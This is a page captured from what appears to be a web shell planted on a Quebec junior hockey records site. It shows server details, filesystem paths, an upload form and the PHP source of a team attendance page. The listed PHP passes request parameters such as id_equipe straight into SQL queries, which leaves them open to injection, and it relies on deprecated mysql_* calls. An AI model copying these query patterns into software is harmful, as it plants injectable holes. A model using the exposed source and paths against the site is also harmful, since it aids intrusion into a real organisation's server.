AlaK4X
Linux lhjmq-records 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64



Your IP : 3.145.89.181


Current Path : /var/www/lhjmq-records.qc.ca/public_html/lang_en/teams/
Upload File :
Current File : /var/www/lhjmq-records.qc.ca/public_html/lang_en/teams/teamassist.php

<?php


if (isset($_GET['currentseason']) && $_GET['currentseason'] != ""){
	$season = season_get($mysql_link, $_GET['currentseason']);
	//Get the team data
	$equipe = team_get_data($mysql_link, $id_equipe, $season['date_start']);	
	$nearest_reg_season = $season;
	$id_reg_saison = $_GET['currentseason'];	
	$nearest_pyf_season = playoff_get($mysql_link, $season['date_start'], $season['date_end']);
	$id_pyf_saison = $nearest_pyf_season['id'];
	
}
else
{
	//Nearest regular season
	$seasons = season_list_customize($mysql_link, SEASON_TYPE_REG, 'DESC');
	$keys = array_keys($seasons);
	$id_reg_saison = $keys[0];
	$nearest_reg_season = $seasons[$id_reg_saison];
	//Nearest regular season
	$seasons = season_list_customize($mysql_link, SEASON_TYPE_PYF, 'DESC');
	$keys = array_keys($seasons);
	$id_pyf_saison = $keys[0];
	$nearest_pyf_season = $seasons[$id_pyf_saison];
	//Get the team data
	$equipe = team_get_data($mysql_link, $id_equipe, date('Y-m-d'));
}



$franchiseasons = @mysql_query($sql = "SELECT year( sys_date ) AS franc_year FROM equipes_hist WHERE `hist_parent` ='".$id_equipe."' GROUP BY year( sys_date )", $mysql_link);
$countfranchiseid = 0;
while ($franchiseason = @mysql_fetch_assoc($franchiseasons)) {
	
	if ($countfranchiseid == 0){
		$first_franchise_year = $franchiseason['franc_year'];	
	}
	
	$last_franchise_year = $franchiseason['franc_year'];
	
	$countfranchiseid = $countfranchiseid + 1;
}	

//echo $first_franchise_year . "<br>" . $last_franchise_year."<br>";

$franchisids = @mysql_query($sql = "SELECT id,date_start,date_end  FROM `seasons`  WHERE `season_type` =1 AND date_start >= '" . $first_franchise_year . "-06-01' AND date_start <= '" . ($last_franchise_year + 1) . "-06-01'", $mysql_link);



	$showcheckplayers = "false";
	
	$check_season_id = season_get_current_customize($mysql_link);
	
	if ($season['id'] == $check_season_id['id'] ){
		$showcheckplayers = "true";
	}

?>

<div id="pteam">

<br />

<?php include("teams/teamdata.php"); ?>

<table width="631" border="0" cellspacing="0" cellpadding="5">
  <tr>
    <td valign="top">
				
			<?php
				$result = mysql_fetch_assoc(mysql_query($sql = "SELECT * FROM lhjmq_variables WHERE id_var = '".$_GET[id_equipe]."-en-equipes-assistances'", $mysql_link));
			?>
			
			<table width="589" border="0" cellspacing="0" cellpadding="0" align="center">
				<tr>
					<td class="team_title"><strong><br>Attendance <?= $iBeginYear.'-'.$iEndYear ?></strong></td>
				</tr>
				<tr>
					<td><hr class="shr" /></td>
				</tr>
				<tr>
					<td style="padding: 5px">
						<?= $result[var_text] ?>
					</td>
				</tr>
			</table>
		</td>
	</tr>
</table>
</div>
<div style="background-color:#ececec;height:160px">&nbsp;</div>
<?php

$footer_background_color = '#ececec';

?>